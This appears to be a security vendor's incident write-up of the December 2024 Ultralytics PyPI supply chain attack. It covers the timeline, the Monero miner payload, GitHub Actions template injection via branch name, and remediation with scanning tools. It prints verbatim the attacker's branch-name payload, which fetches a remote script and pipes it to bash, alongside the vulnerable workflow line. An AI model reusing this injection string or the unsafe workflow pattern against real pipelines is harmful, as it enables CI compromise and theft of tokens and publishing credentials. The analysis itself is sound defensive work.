Ultralytics AI Pwn Request Supply Chain Attack

Ultralytics AI Pwn Request Supply Chain Attack

·

7 min read

The ultralytics supply chain attack occurred in two distinct phases between December 4-7, 2024. In the first phase, two malicious versions were published to PyPI: version 8.3.41 was released on December 4 at 20:51 UTC and remained available for approximately 12 hours until its removal on December 5 at 09:15 UTC. Version 8.3.42 was published shortly after on December 5 at 12:47 UTC and was available for about one hour before removal at 13:47 UTC.

The second phase occurred on December 7, when the attacker directly published two additional malicious versions to PyPI, bypassing GitHub Actions entirely. Version 8.3.45 was published at 01:41 UTC and remained available for about 8 hours until 10:08 UTC. Version 8.3.46 was released at 02:27 UTC and was available for approximately 7.5 hours until its removal at 10:09 UTC.

The attack was first detected through multiple vectors, including Google Colab's automated abuse detection system, which began flagging suspicious activity within hours of the first malicious release. Users across various projects reported unusual CPU usage patterns, and package maintainers identified discrepancies between the GitHub repository and PyPI releases.

The Exploit Timeline

2024-06-04 Initial commit of snyk github actions scanner

Link: https://github.com/snyk-labs/github-actions-scanner

2024-08-14 Adnan Khan reports GHSA-7x29-qqmq-v6qc to Ultralytics maintainers - template injection vulnerability

Link: https://github.com/ultralytics/actions/security/advisories/GHSA-7x29-qqmq-v6q

2024-08-14 v0.0.3 of ultralytics/actions released with fix for GHSA-7x29-qqmq-v6qc

Link: https://github.com/ultralytics/actions/security/advisories/GHSA-7x29-qqmq-v6qc

2024-08-24 v0.0.24 of ultralytics/actions reintroduces the vulnerability in commit c1365ce

2024-12-03 22:28:49 @jiwuwgknvm begins experimenting with weaponized attack

2024-12-03 22:33:47 @jiwuwgknvm submits PR #17984 (now deleted) containing run.sh token stealer

2024-12-04 19:33:00 @openimbot submits PR #18018 with template injection

Link: https://github.com/ultralytics/ultralytics/pull/18018

2024-12-04 19:57:00 @openimbot submits PR #18020 with different template injection

Link: https://github.com/ultralytics/ultralytics/pull/18020

2024-12-04 20:50:00 v8.3.41 release triggered by @UltralyticsAssistant

2024-12-04 20:51:12 v8.3.41 release created on PyPI

Link: https://files.pythonhosted.org/packages/d0/99/13d92174aa6a470d348a95e31164769f2cdf77838ea3c3e3fd476285777d/ultralytics-8.3.41-py3-none-any.whl

2024-12-04 23:46:00 Google Colab issue #4979 reported - Account blocked due to crypto mining

Link: https://github.com/googlecolab/colabtools/issues/4979

2024-12-05 05:34:00 Issue #18027 opened - PyPI discrepancy reported

Link: https://github.com/ultralytics/ultralytics/issues/18027

2024-12-05 05:35:00 ComfyUI Issue #843 opened - Crypto mining report

Link: https://github.com/ltdrdata/ComfyUI-Impact-Pack/issues/843

2024-12-05 07:50:00 Issue #18030 opened - 100% CPU usage

Link: https://github.com/ultralytics/ultralytics/issues/18030

2024-12-05 09:15:06 v8.3.41 removed from PyPI (after ~12 hours)

2024-12-05 09:39:00 Comic-translate Issue #184 opened - Mining report

Link: https://github.com/ogkalu2/comic-translate/issues/184

2024-12-05 12:46:00 v8.3.42 release triggered by @glenn-jocher

2024-12-05 12:47:29 v8.3.42 created on PyPI

2024-12-05 13:47:30 v8.3.42 removed from PyPI (after ~1 hour)

2024-12-05 15:17:00 @glenn-jocher announces @openimbot banned from Ultralytics

2024-12-06 19:51:00 AdvancedLivePortrait-WebUI Issue #19 opened - Security alert

Link: https://github.com/jhj0517/AdvancedLivePortrait-WebUI/issues/19

2024-12-07 01:41:45 v8.3.45 directly released to PyPI (no CI/CD)

2024-12-07 02:27:14 v8.3.46 directly released to PyPI (no CI/CD)

2024-12-07 04:00:00 Adnan Khan announces v8.3.45 and v8.3.46 are malicious

2024-12-07 10:08:32 v8.3.45 removed from PyPI (after ~8 hours)

2024-12-07 10:09:08 v8.3.46 removed from PyPI (after ~7.5 hours)

A Cryptocurrency Attack to Mine Monero

The malicious versions of ultralytics included a cryptocurrency mining payload designed to run silently in the background while consuming significant system resources. The miner was an implementation of XMRig, specifically configured to mine Monero cryptocurrency. The malware was sophisticated enough to trigger Google Colab's automated abuse detection systems, which led to some users having their accounts temporarily suspended due to the high CPU usage characteristics of mining activity.

The miner was injected into the package through modifications to two key functions: *safe\_download* and *safe\_run*. The first stage involved a client-side downloader that was patched into the *safe\_download* function, retrieving the actual mining payload. The *safe\_run* function was modified to execute the miner in the background, attempting to hide its resource usage from casual observation. However, the significant CPU utilization required for cryptocurrency mining made the malware's presence obvious to many users.

How to prepare for Ultralytics remediation

Gauge your exposure to the Python dependency

Time Windows of Affected Versions:

v8.3.41: 2024-12-04 20:51 UTC to 2024-12-05 09:15 UTC (~12 hours)

v8.3.42: 2024-12-05 12:47 UTC to 2024-12-05 13:47 UTC (~1 hour)

v8.3.45: 2024-12-07 01:41 UTC to 2024-12-07 10:08 UTC (~8 hours)

v8.3.46: 2024-12-07 02:27 UTC to 2024-12-07 10:09 UTC (~7.5 hours)

To check if you're affected:

  1. Review pip install logs during these time windows
  2. Check your current version: pip show ultralytics
  3. Review system logs for unusual CPU activity during these periods
  4. Check for any automated builds or CI/CD runs during these windows

Projects known to depend on Ultralytics

Ultralytics is an AI library widely used in the AI/ML Python ecosystem, particularly for computer vision tasks. Notable projects include:

  • ComfyUI: Uses YOLOv8 for object detection in many popular custom nodes. They made a statement regarding the situation here.
  • Comic-Translate: Uses YOLO models for text detection
  • Roboflow: Integration with YOLOv8 for object detection
  • Many other Stable Diffusion tools and web UIs

Explaining the ultralytics/actions supply chain attack

The attack exploited a sophisticated chain of vulnerabilities in GitHub Actions, explicitly targeting the workflow automation system through a technique known as template injection via branch name. Here's the detailed attack flow:

The initial compromise occurred through two malicious pull requests (PRs #18018 and #18020) submitted by the @openimbot account. These PRs exploited a vulnerability in the format.yml workflow, which used an unsafe pull_request_target trigger combined with unescaped template expressions.

The attack worked through several stages:

The attacker created a branch with a carefully crafted name containing shell commands:

$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/d8daa0b26ae0c221aa4a8c20834c4dbfef2a9a14/file.sh}${IFS}|${IFS}bash)

When the workflow processed this branch name, the template expression was expanded directly in the shell context due to this vulnerable line:

git pull origin ${{ github.head_ref || github.ref }}

The expanded command downloaded and executed a malicious shell script that:

  • Exfiltrated GitHub tokens and secrets
  • Poisoned the pip cache used by setup-python
  • Modified release distributions to include the cryptocurrency miner
  • Potentially stole PyPI API credentials

The vulnerability was particularly effective because it exploited a custom action in ultralytics/actions that had reintroduced a previously fixed security issue.

Scanning with Snyk Open Source

Snyk's vulnerability database and CLI tools can help identify if you're running a compromised version of the Ultralytics package. These can also be used to test open-source projects more broadly. To scan your project:

  1. Install the Snyk CLI:
npm install -g snyk
  1. Authenticate with Snyk:
snyk auth
  1. Scan your Python project:
snyk test

This will identify if you're using any of the known malicious versions (8.3.41, 8.3.42, 8.3.45, or 8.3.46) of the Ultralytics package, as well as checking for other potential vulnerabilities in your dependencies.

Use Snyk GitHub Actions Scanner in your DevSecOps toolkit

The Snyk GitHub Actions Scanner is an open-source utility that can help identify vulnerable GitHub Actions configurations like those exploited in this incident. While not an official Snyk product, it's a valuable tool for your DevSecOps toolkit.

To use the scanner:

  1. Clone the repository and install dependencies:
git clone https://github.com/snyk-labs/github-actions-scanner
cd github-actions-scanner
npm install
  1. Set up your GitHub token:
echo "GITHUB_TOKEN=your-token-here" > .env
  1. Scan a repository:
npm start scan-repo -- -u https://github.com/your/repo

The scanner looks for several critical issues, including:

  • PWN_REQUEST: Identifies workflows using pull_request_target that also checkout pull request branches - exactly the vulnerability exploited in this incident. This is dangerous because pull_request_target runs with repository secrets but can be triggered by untrusted external contributors.
  • CMD_EXEC: Detects unescaped template expressions like ${{ }} in run directives that could lead to command injection.

For a more thorough scan that checks referenced actions:

npm start scan-repo -- -u https://github.com/your/repo -r -m 5

This checks referenced actions up to 5 levels deep, helping identify vulnerabilities in your entire action chain.

AI Security Risks and Supply Chain Security

The ultralytics incident is another security incident in the long list of open-source supply chain security breaches. Both the npm and the PyPI registries have been facing malware attacks with a focus on cryptocurrency, and many times they circle back to maintainer security practices and secure project configuration. This GitHub Actions attack demonstrates how crucial it is to keep a tight grip on security best practices.

AI security risks don’t stop at open-source supply chain incidents but further extend to machine learning and model exchange registries. Looming attacks such as remote code execution can affect developers through vulnerabilities in deep learning file formats and insecure AI-generated code commonly leveraged by developers via LLMs.

Learn how to use Snyk to secure AI-generated code.